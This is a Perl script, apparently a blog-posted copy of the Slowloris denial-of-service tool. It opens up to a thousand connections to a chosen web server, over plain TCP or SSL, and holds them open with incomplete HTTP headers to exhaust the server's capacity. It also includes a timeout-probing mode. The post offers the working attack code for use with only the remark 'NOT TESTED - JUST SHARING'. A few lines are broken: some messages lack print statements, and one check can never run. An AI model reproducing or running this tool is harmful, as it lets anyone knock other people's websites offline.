use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
'shost=s' => \$shost,
'dns=s' => \$host,
'httpready' => \$httpready,
'num=i' => \$connections,
'cache' => \$cache,
'port=i' => \$port,
'https' => \$ssl,
'tcpto=i' => \$tcpto,
'test' => \$test,
'timeout=i' => \$timeout,
'version' => \$version,
);
if ($version) {
print "Version 0.7\n";
exit;
}
unless ($host) {
print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
print "\n\tType 'perldoc $0' for help with options.\n\n";
exit;
}
unless ($port) {
$port = 80;
print "Defaulting to port 80.\n";
}
unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.\n";
}
unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.\n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.\n";
}
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!\n";
print "Slowloris will be slower than normal as a result.\n";
}
my $packetcount : shared = 0;
my $failed : shared = 0;
my $connectioncount : shared = 0;
srand() if ($cache);
if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($httpready) {
$method = "POST";
}
else {
$method = "GET";
}
if ($test) {
my @times = ( "2", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "This test could take up to $totaltime minutes.\n";
my $delay = 0;
my $working = 0;
my $sock;
if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
if ( print $sock $primarypayload ) {
print "Connection successful, now comes the waiting game...\n";
}
else {
"That's odd - I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n";
sleep( $times[$i] );
if ( print $sock "X-a: b\r\n" ) {
print "\tWorked.\n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "\tFailed after $times[$i] seconds.\n";
}
}
if ( print $sock "Connection: Close\r\n\r\n" ) {
print "Okay that's enough time. Slowloris closed the socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
else {
print "Remote server closed socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Slowloris against this target. You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
}
}
else {
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}
sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
while (1) {
$failedconnections = 0;
print "\t\tBuilding sockets.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{__WARN__} ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "\t\tSending data.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: b\r\n" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
sleep($timeout);
}
}
sub domultithreading {
my ($num) = @_;
my @thrs;
my $i = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( \&doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}
__END__
NOT TESTED - JUST SHARING
No comments:
Post a Comment